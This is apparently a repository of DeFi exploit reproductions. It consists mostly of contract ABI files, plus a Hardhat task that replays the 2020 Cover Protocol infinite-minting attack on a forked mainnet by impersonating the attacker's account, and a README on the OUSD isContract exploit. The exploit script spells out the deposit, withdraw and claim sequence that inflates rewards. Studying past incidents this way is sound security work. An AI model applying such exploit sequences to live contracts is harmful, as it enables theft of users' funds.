ame":"_newBlacksmith","type":"address"}],"name":"setBlacksmith","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_newMigrator","type":"address"}],"name":"setMigrator","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"}] 2 | -------------------------------------------------------------------------------- /reproductions/2020-12-cover/abi/ERC20.json: -------------------------------------------------------------------------------- 1 | [ 2 | { 3 | "constant": true, 4 | "inputs": [], 5 | "name": "name", 6 | "outputs": [ 7 | { 8 | "name": "", 9 | "type": "string" 10 | } 11 | ], 12 | "payable": false, 13 | "stateMutability": "view", 14 | "type": "function" 15 | }, 16 | { 17 | "constant": false, 18 | "inputs": [ 19 | { 20 | "name": "_spender", 21 | "type": "address" 22 | }, 23 | { 24 | "name": "_value", 25 | "type": "uint256" 26 | } 27 | ], 28 | "name": "approve", 29 | "outputs": [ 30 | { 31 | "name": "", 32 | "type": "bool" 33 | } 34 | ], 35 | "payable": false, 36 | "stateMutability": "nonpayable", 37 | "type": "function" 38 | }, 39 | { 40 | "constant": true, 41 | "inputs": [], 42 | "name": "totalSupply", 43 | "outputs": [ 44 | { 45 | "name": "", 46 | "type": "uint256" 47 | } 48 | ], 49 | "payable": false, 50 | "stateMutability": "view", 51 | "type": "function" 52 | }, 53 | { 54 | "constant": false, 55 | "inputs": [ 56 | { 57 | "name": "_from", 58 | "type": "address" 59 | }, 60 | { 61 | "name": "_to", 62 | "type": "address" 63 | }, 64 | { 65 | "name": "_value", 66 | "type": "uint256" 67 | } 68 | ], 69 | "name": "transferFrom", 70 | "outputs": [ 71 | { 72 | "name": "", 73 | "type": "bool" 74 | } 75 | ], 76 | "payable": false, 77 | "stateMutability": "nonpayable", 78 | "type": "function" 79 | }, 80 | { 81 | "constant": true, 82 | "inputs": [], 83 | "name": "decimals", 84 | "outputs": [ 85 | { 86 | "name": "", 87 | "type": "uint8" 88 | } 89 | ], 90 | "payable": false, 91 | "stateMutability": "view", 92 | "type": "function" 93 | }, 94 | { 95 | "constant": true, 96 | "inputs": [ 97 | { 98 | "name": "_owner", 99 | "type": "address" 100 | } 101 | ], 102 | "name": "balanceOf", 103 | "outputs": [ 104 | { 105 | "name": "balance", 106 | "type": "uint256" 107 | } 108 | ], 109 | "payable": false, 110 | "stateMutability": "view", 111 | "type": "function" 112 | }, 113 | { 114 | "constant": true, 115 | "inputs": [], 116 | "name": "symbol", 117 | "outputs": [ 118 | { 119 | "name": "", 120 | "type": "string" 121 | } 122 | ], 123 | "payable": false, 124 | "stateMutability": "view", 125 | "type": "function" 126 | }, 127 | { 128 | "constant": false, 129 | "inputs": [ 130 | { 131 | "name": "_to", 132 | "type": "address" 133 | }, 134 | { 135 | "name": "_value", 136 | "type": "uint256" 137 | } 138 | ], 139 | "name": "transfer", 140 | "outputs": [ 141 | { 142 | "name": "", 143 | "type": "bool" 144 | } 145 | ], 146 | "payable": false, 147 | "stateMutability": "nonpayable", 148 | "type": "function" 149 | }, 150 | { 151 | "constant": true, 152 | "inputs": [ 153 | { 154 | "name": "_owner", 155 | "type": "address" 156 | }, 157 | { 158 | "name": "_spender", 159 | "type": "address" 160 | } 161 | ], 162 | "name": "allowance", 163 | "outputs": [ 164 | { 165 | "name": "", 166 | "type": "uint256" 167 | } 168 | ], 169 | "payable": false, 170 | "stateMutability": "view", 171 | "type": "function" 172 | }, 173 | { 174 | "payable": true, 175 | "stateMutability": "payable", 176 | "type": "fallback" 177 | }, 178 | { 179 | "anonymous": false, 180 | "inputs": [ 181 | { 182 | "indexed": true, 183 | "name": "owner", 184 | "type": "address" 185 | }, 186 | { 187 | "indexed": true, 188 | "name": "spender", 189 | "type": "address" 190 | }, 191 | { 192 | "indexed": false, 193 | "name": "value", 194 | "type": "uint256" 195 | } 196 | ], 197 | "name": "Approval", 198 | "type": "event" 199 | }, 200 | { 201 | "anonymous": false, 202 | "inputs": [ 203 | { 204 | "indexed": true, 205 | "name": "from", 206 | "type": "address" 207 | }, 208 | { 209 | "indexed": true, 210 | "name": "to", 211 | "type": "address" 212 | }, 213 | { 214 | "indexed": false, 215 | "name": "value", 216 | "type": "uint256" 217 | } 218 | ], 219 | "name": "Transfer", 220 | "type": "event" 221 | } 222 | ] 223 | -------------------------------------------------------------------------------- /reproductions/2020-12-cover/hardhat.config.js: -------------------------------------------------------------------------------- 1 | /** 2 | * @type import('hardhat/config').HardhatUserConfig 3 | */ 4 | require("@nomiclabs/hardhat-ethers"); 5 | const { utils } = require("ethers"); 6 | 7 | const blacksmithABI = require("./abi/Blacksmith.json"); 8 | const coverABI = require("./abi/Cover.json"); 9 | const erc20ABI = require("./abi/ERC20.json"); 10 | 11 | if (!process.env.PROVIDER_URL) { 12 | console.log("Set PROVIDER_URL in env"); 13 | process.exit(); 14 | } 15 | 16 | task("exploit", async (taskArguments, hre) => { 17 | /* 18 | Cover Protocol infinite minting exploit 19 | */ 20 | 21 | const attacker = "0xf05ca010d0bd620cc7c8e96e00855dde2c2943df" 22 | 23 | const blacksmith = await ethers.getContractAt( 24 | blacksmithABI, 25 | "0xe0b94a7bb45dd905c79bb1992c9879f40f1caed5" 26 | ); 27 | const cover = await ethers.getContractAt( 28 | coverABI, 29 | "0x5d8d9f5b96f4438195be9b99eee6118ed4304286" 30 | ); 31 | const bpt = await ethers.getContractAt( 32 | erc20ABI, 33 | "0xce0e9e7a1163badb7ee79cfe96b5148e178cab73" 34 | ); 35 | 36 | await hre.network.provider.request({ 37 | method: "hardhat_impersonateAccount", 38 | params: [attacker], 39 | }); 40 | const attackerSigner = await ethers.provider.getSigner(attacker); 41 | 42 | const amount = await bpt.balanceOf(attacker); 43 | const coverBalanceBefore = await cover.balanceOf(attacker); 44 | console.log(` ⦿ Attacker $COVER balanceOf ${coverBalanceBefore}`); 45 | await bpt 46 | .connect(attackerSigner) 47 | .approve(blacksmith.address, ethers.constants.MaxUint256); 48 | console.log(` ⦿ Depositing ${amount} BPT`); 49 | await blacksmith.connect(attackerSigner).deposit(bpt.address, amount); 50 | console.log(` ⦿ Withdrawing ${amount.sub(1)} BPT`); 51 | await blacksmith.connect(attackerSigner).withdraw(bpt.address, amount.sub(1)); 52 | console.log(` ⦿ Depositing ${amount.sub(1)} BPT`); 53 | await blacksmith.connect(attackerSigner).deposit(bpt.address, amount.sub(1)); 54 | console.log(" ⦿ Claiming rewards"); 55 | await blacksmith.connect(attackerSigner).claimRewards(bpt.address); 56 | const coverBalanceAfter = await cover.balanceOf(attacker); 57 | console.log(` ⦿ Attacker $COVER balanceOf ${coverBalanceAfter}`); 58 | console.log(` ⦿ $COVER gain ${coverBalanceAfter.sub(coverBalanceBefore)}`); 59 | }); 60 | 61 | module.exports = { 62 | solidity: "0.5.11", 63 | networks: { 64 | hardhat: { 65 | forking: { 66 | url: process.env.PROVIDER_URL, 67 | blockNumber: 11541195 68 | }, 69 | }, 70 | } 71 | }; 72 | -------------------------------------------------------------------------------- /reproductions/2020-12-cover/package.json: -------------------------------------------------------------------------------- 1 | { 2 | "name": "2020-12-cover", 3 | "version": "1.0.0", 4 | "description": "", 5 | "main": "index.js", 6 | "scripts": { 7 | "exploit": "npx hardhat exploit" 8 | }, 9 | "author": "", 10 | "license": "MIT", 11 | "dependencies": { 12 | "@nomiclabs/hardhat-ethers": "^2.0.1", 13 | "ethers": "^5.0.24", 14 | "hardhat": "^2.0.6", 15 | "hardhat-deploy": "^0.7.0-beta.39", 16 | "hardhat-deploy-ethers": "^0.3.0-beta.7" 17 | } 18 | } 19 | -------------------------------------------------------------------------------- /reproductions/2021-01-ousd/.gitignore: -------------------------------------------------------------------------------- 1 | node_modules/ 2 | artifacts/ 3 | cache 4 | -------------------------------------------------------------------------------- /reproductions/2021-01-ousd/README.md: -------------------------------------------------------------------------------- 1 | # Reproduction of OUSD Address.isContract exploit 2 | 3 | This exploit was made possible by the use of the Address.isContract function which relies on checking the code size of an address to determine whether it is a contract or not. Using CREATE2 it is possible to... 4 | 5 | The exploit is implemented as a Hardhat task in `hardhat.config.js`. 6 | 7 | To run use: 8 | 9 | `PROVIDER_URL=https://eth-mainnet.alchemyapi.io/v2/ yarn run exploit` 10 | -------------------------------------------------------------------------------- /reproductions/2021-01-ousd/abi/ERC20.json: -------------------------------------------------------------------------------- 1 | [ 2 | { 3 | "constant": true, 4 | "inputs": [], 5 | "name": "name", 6 | "outputs": [ 7 | { 8 | "name": "", 9 | "type": "string" 10 | } 11 | ], 12 | "payable": false, 13 | "stateMutability": "view", 14 | "type": "function" 15 | }, 16 | { 17 | "constant": false, 18 | "inputs": [ 19 | { 20 | "name": "_spender", 21 | "type": "address" 22 | }, 23 | { 24 | "name": "_value", 25 | "type": "uint256" 26 | } 27 | ], 28 | "name": "approve", 29 | "outputs": [ 30 | { 31 | "name": "", 32 | "type": "bool" 33 | } 34 | ], 35 | "payable": false, 36 | "stateMutability": "nonpayable", 37 | "type": "function" 38 | }, 39 | { 40 | "constant": true, 41 | "inputs": [], 42 | "name": "totalSupply", 43 | "outputs": [ 44 | { 45 | "name": "", 46 | "type": "uint256" 47 | } 48 | ], 49 | "payable": false, 50 | "stateMutability": "view", 51 | "type": "function" 52 | }, 53 | { 54 | "constant": false, 55 | "inputs": [ 56 | { 57 | "name": "_from", 58 | "type": "address" 59 | }, 60 | { 61 | "name": "_to", 62 | "type": "address" 63 | }, 64 | { 65 | "name": "_value", 66 | "type": "uint256" 67 | } 68 | ], 69 | "name": "transferFrom", 70 | "outputs": [ 71 | { 72 | "name": "", 73 | "type": "bool" 74 | } 75 | ], 76 | "payable": false, 77 | "stateMutability": "nonpayable", 78 | "type": "function" 79 | }, 80 | { 81 | "constant": true, 82 | "inputs": [], 83 | "name": "decimals", 84 | "outputs": [ 85 | { 86 | "name": "", 87 | "type": "uint8" 88 | } 89 | ], 90 | "payable": false, 91 | "stateMutability": "view", 92 | "type": "function" 93 | }, 94 | { 95 | "constant": true, 96 | "inputs": [ 97 | { 98 | "name": "_owner", 99 | "type": "address" 100 | } 101 | ], 102 | "name": "balanceOf", 103 | "outputs": [ 104 | { 105 | "name": "balance", 106 | "type": "uint256" 107 | } 108 | ], 109 | "payable": false, 110 | "stateMutability": "view", 111 | "type": "function" 112 | }, 113 | { 114 | "constant": true, 115 | "inputs": [], 116 | "name": "symbol", 117 | "outputs": [ 118 | { 119 | "name": "", 120 | "type": "string" 121 | } 122 | ], 123 | "payable": false, 124 | "stateMutability": "view", 125 | "type": "function" 126 | }, 127 | { 128 | "constant": false, 129 | "inputs": [ 130 | { 131 | "name": "_to", 132 | "type": "address" 133 | }, 134 | { 135 | "name": "_value", 136 | "type": "uint256" 137 | } 138 | ], 139 | "name": "transfer", 140 | "outputs": [ 141 | { 142 | "name": "", 143 | "type": "bool" 144 | } 145 | ], 146 | "payable": false, 147 | "stateMutability": "nonpayable", 148 | "type": "function" 149 | }, 150 | { 151 | "constant": true, 152 | "inputs": [ 153 | { 154 | "name": "_owner", 155 | "type": "address" 156 | }, 157 | { 158 | "name": "_spender", 159 | "type": "address" 160 | } 161 | ], 162 | "name": "allowance", 163 | "outputs": [ 164 | { 165 | "name": "", 166 | "type": "uint256" 167 | } 168 | ], 169 | "payable": false, 170 | "stateMutability": "view", 171 | "type": "function" 172 | }, 173 | { 174 | "payable": true, 175 | "stateMutability": "payable", 176 | "type": "fallback" 177 | }, 178 | { 179 | "anonymous": false, 180 | "inputs": [ 181 | { 182 | "indexed": true, 183 | "name": "owner", 184 | "type": "address" 185 | }, 186 | { 187 | "indexed": true, 188 | "name": "spender", 189 | "type": "address" 190 | }, 191 | { 192 | "indexed": false, 193 | "name": "value", 194 | "type": "uint256" 195 | } 196 | ], 197 | "name": "Approval", 198 | "type": "event" 199 | }, 200 | { 201 | "anonymous": false, 202 | "inputs": [ 203 | { 204 | "indexed": true, 205 | "name": "from", 206 | "type": "address" 207 | }, 208 | { 209 | "indexed": true, 210 | "name": "to", 211 | "type": "address" 212 | }, 213 | { 214 | "indexed": false, 215 | "name": "value", 216 | "type": "uint256" 217 | } 218 | ], 219 | "name": "Transfer", 220 | "type": "event" 221 | } 222 | ] 223 | -------------------------------------------------------------------------------- /reproductions/2021-01-ousd/abi/OUSD.json: -------------------------------------------------------------------------------- 1 | [ 2 | { 3 | "constant": true, 4 | "inputs": [], 5 | "name": "name", 6 | "outputs": [ 7 | { 8 | "internalType": "string", 9 | "name": "", 10 | "type": "string" 11 | } 12 | ], 13 | "payable": false, 14 | "stateMutability": "view", 15 | "type": "function" 16 | }, 17 | { 18 | "constant": false, 19 | "inputs": [ 20 | { 21 | "internalType": "string", 22 | "name": "_nameArg", 23 | "type": "string" 24 | }, 25 | { 26 | "internalType": "string", 27 | "name": "_symbolArg", 28 | "type": "string" 29 | }, 30 | { 31 | "internalType": "address", 32 | "name": "_vaultAddress", 33 | "type": "address" 34 | } 35 | ], 36 | "name": "initialize", 37 | "outputs": [], 38 | "payable": false, 39 | "stateMutability": "nonpayable", 40 | "type": "function" 41 | }, 42 | { 43 | "constant": true, 44 | "inputs": [], 45 | "name": "rebasingCredits", 46 | "outputs": [ 47 | { 48 | "internalType": "uint256", 49 | "name": "", 50 | "type": "uint256" 51 | } 52 | ], 53 | "payable": false, 54 | "stateMutability": "view", 55 | "type": "function" 56 | }, 57 | { 58 | "constant": false, 59 | "inputs": [ 60 | { 61 | "internalType": "address", 62 | "name": "_spender", 63 | "type": "address" 64 | }, 65 | { 66 | "internalType": "uint256", 67 | "name": "_value", 68 | "type": "uint256" 69 | } 70 | ], 71 | "name": "approve", 72 | "outputs": [ 73 | { 74 | "internalType": "bool", 75 | "name": "", 76 | "type": "bool" 77 | } 78 | ], 79 | "payable": false, 80 | "stateMutability": "nonpayable", 81 | "type": "function" 82 | }, 83 | { 84 | "constant": true, 85 | "inputs": [], 86 | "name": "governor", 87 | "outputs": [ 88 | { 89 | "internalType": "address", 90 | "name": "", 91 | "type": "address" 92 | } 93 | ], 94 | "payable": false, 95 | "stateMutability": "view", 96 | "type": "function" 97 | }, 98 | { 99 | "constant": true, 100 | "inputs": [], 101 | "name": "totalSupply", 102 | "outputs": [ 103 | { 104 | "internalType": "uint256", 105 | "name": "", 106 | "type": "uint256" 107 | } 108 | ], 109 | "payable": false, 110 | "stateMutability": "view", 111 | "type": "function" 112 | }, 113 | { 114 | "constant": false, 115 | "inputs": [ 116 | { 117 | "internalType": "address", 118 | "name": "_from", 119 | "type": "address" 120 | }, 121 | { 122 | "internalType": "address", 123 | "name": "_to", 124 | "type": "address" 125 | }, 126 | { 127 | "internalType": "uint256", 128 | "name": "_value", 129 | "type": "uint256" 130 | } 131 | ], 132 | "name": "transferFrom", 133 | "outputs": [ 134 | { 135 | "internalType": "bool", 136 | "name": "", 137 | "type": "bool" 138 | } 139 | ], 140 | "payable": false, 141 | "stateMutability": "nonpayable", 142 | "type": "function" 143 | }, 144 | { 145 | "constant": true, 146 | "inputs": [], 147 | "name": "decimals", 148 | "outputs": [ 149 | { 150 | "internalType": "uint8", 151 | "name": "", 152 | "type": "uint8" 153 | } 154 | ], 155 | "payable": false, 156 | "stateMutability": "view", 157 | "type": "function" 158 | }, 159 | { 160 | "constant": true, 161 | "inputs": [], 162 | "name": "_decimals", 163 | "outputs": [ 164 | { 165 | "internalType": "uint8", 166 | "name": "", 167 | "type": "uint8" 168 | } 169 | ], 170 | "payable": false, 171 | "stateMutability": "view", 172 | "type": "function" 173 | }, 174 | { 175 | "constant": false, 176 | "inputs": [ 177 | { 178 | "internalType": "address", 179 | "name": "_spender", 180 | "type": "address" 181 | }, 182 | { 183 | "internalType": "uint256", 184 | "name": "_addedValue", 185 | "type": "uint256" 186 | } 187 | ], 188 | "name": "increaseAllowance", 189 | "outputs": [ 190 | { 191 | "internalType": "bool", 192 | "name": "", 193 | "type": "bool" 194 | } 195 | ], 196 | "payable": false, 197 | "stateMutability": "nonpayable", 198 | "type": "function" 199 | }, 200 | { 201 | "constant": false, 202 | "inputs": [ 203 | { 204 | "internalType": "uint256", 205 | "name": "_newTotalSupply", 206 | "type": "uint256" 207 | } 208 | ], 209 | "name": "changeSupply", 210 | "outputs": [], 211 | "payable": false, 212 | "stateMutability": "nonpayable", 213 | "type": "function" 214 | }, 215 | { 216 | "constant": true, 217 | "inputs": [], 218 | "name": "_totalSupply", 219 | "outputs": [ 220 | { 221 | "internalType": "uint256", 222 | "name": "", 223 | "type": "uint256" 224 | } 225 | ], 226 | "payable": false, 227 | "stateMutability": "view", 228 | "type": "function" 229 | }, 230 | { 231 | "constant": false, 232 | "inputs": [ 233 | { 234 | "internalType": "address", 235 | "name": "_account", 236 | "type": "address" 237 | }, 238 | { 239 | "internalType": "uint256", 240 | "name": "_amount", 241 | "type": "uint256" 242 | } 243 | ], 244 | "name": "mint", 245 | "outputs": [], 246 | "payable": false, 247 | "stateMutability": "nonpayable", 248 | "type": "function" 249 | }, 250 | { 251 | "constant": true, 252 | "inputs": [], 253 | "name": "vaultAddress", 254 | "outputs": [ 255 | { 256 | "internalType": "address", 257 | "name": "", 258 | "type": "address" 259 | } 260 | ], 261 | "payable": false, 262 | "stateMutability": "view", 263 | "type": "function" 264 | }, 265 | { 266 | "constant": true, 267 | "inputs": [ 268 | { 269 | "internalType": "address", 270 | "name": "", 271 | "type": "address" 272 | } 273 | ], 274 | "name": "rebaseState", 275 | "outputs": [ 276 | { 277 | "internalType": "enum OUSD.RebaseOptions", 278 | "name": "", 279 | "type": "uint8" 280 | } 281 | ], 282 | "payable": false, 283 | "stateMutability": "view", 284 | "type": "function" 285 | }, 286 | { 287 | "constant": false, 288 | "inputs": [], 289 | "name": "claimGovernance", 290 | "outputs": [], 291 | "payable": false, 292 | "stateMutability": "nonpayable", 293 | "type": "function" 294 | }, 295 | { 296 | "constant": true, 297 | "inputs": [ 298 | { 299 | "internalType": "address", 300 | "name": "", 301 | "type": "address" 302 | } 303 | ], 304 | "name": "nonRebasingCreditsPerToken", 305 | "outputs": [ 306 | { 307 | "internalType": "uint256", 308 | "name": "", 309 | "type": "uint256" 310 | } 311 | ], 312 | "payable": false, 313 | "stateMutability": "view", 314 | "type": "function" 315 | }, 316 | { 317 | "constant": true, 318 | "inputs": [], 319 | "name": "rebasingCreditsPerToken", 320 | "outputs": [ 321 | { 322 | "internalType": "uint256", 323 | "name": "", 324 | "type": "uint256" 325 | } 326 | ], 327 | "payable": false, 328 | "stateMutability": "view", 329 | "type": "function" 330 | }, 331 | { 332 | "constant": true, 333 | "inputs": [ 334 | { 335 | "internalType": "address", 336 | "name": "_account", 337 | "type": "address" 338 | } 339 | ], 340 | "name": "balanceOf", 341 | "outputs": [ 342 | { 343 | "internalType": "uint256", 344 | "name": "", 345 | "type": "uint256" 346 | } 347 | ], 348 | "payable": false, 349 | "stateMutability": "view", 350 | "type": "function" 351 | }, 352 | { 353 | "constant": true, 354 | "inputs": [], 355 | "name": "symbol", 356 | "outputs": [ 357 | { 358 | "internalType": "string", 359 | "name": "", 360 | "type": "string" 361 | } 362 | ], 363 | "payable": false, 364 | "stateMutability": "view", 365 | "type": "function" 366 | }, 367 | { 368 | "constant": false, 369 | "inputs": [ 370 | { 371 | "internalType": "address", 372 | "name": "account", 373 | "type": "address" 374 | }, 375 | { 376 | "internalType": "uint256", 377 | "name": "amount", 378 | "type": "uint256" 379 | } 380 | ], 381 | "name": "burn", 382 | "outputs": [], 383 | "payable": false, 384 | "stateMutability": "nonpayable", 385 | "type": "function" 386 | }, 387 | { 388 | "constant": false, 389 | "inputs": [ 390 | { 391 | "internalType": "address", 392 | "name": "_spender", 393 | "type": "address" 394 | }, 395 | { 396 | "internalType": "uint256", 397 | "name": "_subtractedValue", 398 | "type": "uint256" 399 | } 400 | ], 401 | "name": "decreaseAllowance", 402 | "outputs": [ 403 | { 404 | "internalType": "bool", 405 | "name": "", 406 | "type": "bool" 407 | } 408 | ], 409 | "payable": false, 410 | "stateMutability": "nonpayable", 411 | "type": "function" 412 | }, 413 | { 414 | "constant": false, 415 | "inputs": [ 416 | { 417 | "internalType": "address", 418 | "name": "_to", 419 | "type": "address" 420 | }, 421 | { 422 | "internalType": "uint256", 423 | "name": "_value", 424 | "type": "uint256" 425 | } 426 | ], 427 | "name": "transfer", 428 | "outputs": [ 429 | { 430 | "internalType": "bool", 431 | "name": "", 432 | "type": "bool" 433 | } 434 | ], 435 | "payable": false, 436 | "stateMutability": "nonpayable", 437 | "type": "function" 438 | }, 439 | { 440 | "constant": true, 441 | "inputs": [], 442 | "name": "_symbol", 443 | "outputs": [ 444 | { 445 | "internalType": "string", 446 | "name": "", 447 | "type": "string" 448 | } 449 | ], 450 | "payable": false, 451 | "stateMutability": "view", 452 | "type": "function" 453 | }, 454 | { 455 | "constant": false, 456 | "inputs": [], 457 | "name": "rebaseOptOut", 458 | "outputs": [], 459 | "payable": false, 460 | "stateMutability": "nonpayable", 461 | "type": "function" 462 | }, 463 | { 464 | "constant": true, 465 | "inputs": [], 466 | "name": "isGovernor", 467 | "outputs": [ 468 | { 469 | "internalType": "bool", 470 | "name": "", 471 | "type": "bool" 472 | } 473 | ], 474 | "payable": false, 475 | "stateMutability": "view", 476 | "type": "function" 477 | }, 478 | { 479 | "constant": true, 480 | "inputs": [], 481 | "name": "_name", 482 | "outputs": [ 483 | { 484 | "internalType": "string", 485 | "name": "", 486 | "type": "string" 487 | } 488 | ], 489 | "payable": false, 490 | "stateMutability": "view", 491 | "type": "function" 492 | }, 493 | { 494 | "constant": false, 495 | "inputs": [ 496 | { 497 | "internalType": "address", 498 | "name": "_newGovernor", 499 | "type": "address" 500 | } 501 | ], 502 | "name": "transferGovernance", 503 | "outputs": [], 504 | "payable": false, 505 | "stateMutability": "nonpayable", 506 | "type": "function" 507 | }, 508 | { 509 | "constant": true, 510 | "inputs": [ 511 | { 512 | "internalType": "address", 513 | "name": "_owner", 514 | "type": "address" 515 | }, 516 | { 517 | "internalType": "address", 518 | "name": "_spender", 519 | "type": "address" 520 | } 521 | ], 522 | "name": "allowance", 523 | "outputs": [ 524 | { 525 | "internalType": "uint256", 526 | "name": "", 527 | "type": "uint256" 528 | } 529 | ], 530 | "payable": false, 531 | "stateMutability": "view", 532 | "type": "function" 533 | }, 534 | { 535 | "constant": true, 536 | "inputs": [], 537 | "name": "nonRebasingSupply", 538 | "outputs": [ 539 | { 540 | "internalType": "uint256", 541 | "name": "", 542 | "type": "uint256" 543 | } 544 | ], 545 | "payable": false, 546 | "stateMutability": "view", 547 | "type": "function" 548 | }, 549 | { 550 | "constant": false, 551 | "inputs": [], 552 | "name": "rebaseOptIn", 553 | "outputs": [], 554 | "payable": false, 555 | "stateMutability": "nonpayable", 556 | "type": "function" 557 | }, 558 | { 559 | "constant": true, 560 | "inputs": [ 561 | { 562 | "internalType": "address", 563 | "name": "_account", 564 | "type": "address" 565 | } 566 | ], 567 | "name": "creditsBalanceOf", 568 | "outputs": [ 569 | { 570 | "internalType": "uint256", 571 | "name": "", 572 | "type": "uint256" 573 | }, 574 | { 575 | "internalType": "uint256", 576 | "name": "", 577 | "type": "uint256" 578 | } 579 | ], 580 | "payable": false, 581 | "stateMutability": "view", 582 | "type": "function" 583 | }, 584 | { 585 | "anonymous": false, 586 | "inputs": [ 587 | { 588 | "indexed": false, 589 | "internalType": "uint256", 590 | "name": "totalSupply", 591 | "type": "uint256" 592 | }, 593 | { 594 | "indexed": false, 595 | "internalType": "uint256", 596 | "name": "rebasingCredits", 597 | "type": "uint256" 598 | }, 599 | { 600 | "indexed": false, 601 | "internalType": "uint256", 602 | "name": "rebasingCreditsPerToken", 603 | "type": "uint256" 604 | } 605 | ], 606 | "name": "TotalSupplyUpdated", 607 | "type": "event" 608 | }, 609 | { 610 | "anonymous": false, 611 | "inputs": [ 612 | { 613 | "indexed": true, 614 | "internalType": "address", 615 | "name": "previousGovernor", 616 | "type": "address" 617 | }, 618 | { 619 | "indexed": true, 620 | "internalType": "address", 621 | "name": "newGovernor", 622 | "type": "address" 623 | } 624 | ], 625 | "name": "PendingGovernorshipTransfer", 626 | "type": "event" 627 | }, 628 | { 629 | "anonymous": false, 630 | "inputs": [ 631 | { 632 | "indexed": true, 633 | "internalType": "address", 634 | "name": "previousGovernor", 635 | "type": "address" 636 | }, 637 | { 638 | "indexed": true, 639 | "internalType": "address", 640 | "name": "newGovernor", 641 | "type": "address" 642 | } 643 | ], 644 | "name": "GovernorshipTransferred", 645 | "type": "event" 646 | }, 647 | { 648 | "anonymous": false, 649 | "inputs": [ 650 | { 651 | "indexed": true, 652 | "internalType": "address", 653 | "name": "from", 654 | "type": "address" 655 | }, 656 | { 657 | "indexed": true, 658 | "internalType": "address", 659 | "name": "to", 660 | "type": "address" 661 | }, 662 | { 663 | "indexed": false, 664 | "internalType": "uint256", 665 | "name": "value", 666 | "type": "uint256" 667 | } 668 | ], 669 | "name": "Transfer", 670 | "type": "event" 671 | }, 672 | { 673 | "anonymous": false, 674 | "inputs": [ 675 | { 676 | "indexed": true, 677 | "internalType": "address", 678 | "name": "owner", 679 | "type": "address" 680 | }, 681 | { 682 | "indexed": true, 683 | "internalType": "address", 684 | "name": "spender", 685 | "type": "address" 686 | }, 687 | { 688 | "indexed": false, 689 | "internalType": "uint256", 690 | "name": "value", 691 | "type": "uint256" 692 | } 693 | ], 694 | "name": "Approval", 695 | "type": "event" 696 | } 697 | ] 698 | -------------------------------------------------------------------------------- /reproductions/2021-01-ousd/abi/VaultCore.json: -------------------------------------------------------------------------------- 1 | [ 2 | { 3 | "constant": true, 4 | "inputs": [], 5 | "name": "redeemFeeBps", 6 | "outputs": [ 7 | { 8 | "internalType": "uint256", 9 | "name": "", 10 | "type": "uint256" 11 | } 12 | ], 13 | "payable": false, 14 | "stateMutability": "view", 15 | "type": "function" 16 | }, 17 | { 18 | "constant": true, 19 | "inputs": [], 20 | "name": "governor", 21 | "outputs": [ 22 | { 23 | "internalType": "address", 24 | "name": "", 25 | "type": "address" 26 | } 27 | ], 28 | "payable": false, 29 | "stateMutability": "view", 30 | "type": "function" 31 | }, 32 | { 33 | "constant": true, 34 | "inputs": [], 35 | "name": "uniswapAddr", 36 | "outputs": [ 37 | { 38 | "internalType": "address", 39 | "name": "", 40 | "type": "address" 41 | } 42 | ], 43 | "payable": false, 44 | "stateMutability": "view", 45 | "type": "function" 46 | }, 47 | { 48 | "constant": false, 49 | "inputs": [ 50 | { 51 | "internalType": "address", 52 | "name": "_asset", 53 | "type": "address" 54 | }, 55 | { 56 | "internalType": "uint256", 57 | "name": "_amount", 58 | "type": "uint256" 59 | }, 60 | { 61 | "internalType": "uint256", 62 | "name": "_minimumOusdAmount", 63 | "type": "uint256" 64 | } 65 | ], 66 | "name": "mint", 67 | "outputs": [], 68 | "payable": false, 69 | "stateMutability": "nonpayable", 70 | "type": "function" 71 | }, 72 | { 73 | "constant": true, 74 | "inputs": [], 75 | "name": "vaultBuffer", 76 | "outputs": [ 77 | { 78 | "internalType": "uint256", 79 | "name": "", 80 | "type": "uint256" 81 | } 82 | ], 83 | "payable": false, 84 | "stateMutability": "view", 85 | "type": "function" 86 | }, 87 | { 88 | "constant": true, 89 | "inputs": [], 90 | "name": "getAllAssets", 91 | "outputs": [ 92 | { 93 | "internalType": "address[]", 94 | "name": "", 95 | "type": "address[]" 96 | } 97 | ], 98 | "payable": false, 99 | "stateMutability": "view", 100 | "type": "function" 101 | }, 102 | { 103 | "constant": true, 104 | "inputs": [], 105 | "name": "getStrategyCount", 106 | "outputs": [ 107 | { 108 | "internalType": "uint256", 109 | "name": "", 110 | "type": "uint256" 111 | } 112 | ], 113 | "payable": false, 114 | "stateMutability": "view", 115 | "type": "function" 116 | }, 117 | { 118 | "constant": true, 119 | "inputs": [], 120 | "name": "rebaseThreshold", 121 | "outputs": [ 122 | { 123 | "internalType": "uint256", 124 | "name": "", 125 | "type": "uint256" 126 | } 127 | ], 128 | "payable": false, 129 | "stateMutability": "view", 130 | "type": "function" 131 | }, 132 | { 133 | "constant": true, 134 | "inputs": [], 135 | "name": "rebasePaused", 136 | "outputs": [ 137 | { 138 | "internalType": "bool", 139 | "name": "", 140 | "type": "bool" 141 | } 142 | ], 143 | "payable": false, 144 | "stateMutability": "view", 145 | "type": "function" 146 | }, 147 | { 148 | "constant": true, 149 | "inputs": [], 150 | "name": "strategistAddr", 151 | "outputs": [ 152 | { 153 | "internalType": "address", 154 | "name": "", 155 | "type": "address" 156 | } 157 | ], 158 | "payable": false, 159 | "stateMutability": "view", 160 | "type": "function" 161 | }, 162 | { 163 | "constant": false, 164 | "inputs": [], 165 | "name": "claimGovernance", 166 | "outputs": [], 167 | "payable": false, 168 | "stateMutability": "nonpayable", 169 | "type": "function" 170 | }, 171 | { 172 | "constant": true, 173 | "inputs": [ 174 | { 175 | "internalType": "address", 176 | "name": "_asset", 177 | "type": "address" 178 | } 179 | ], 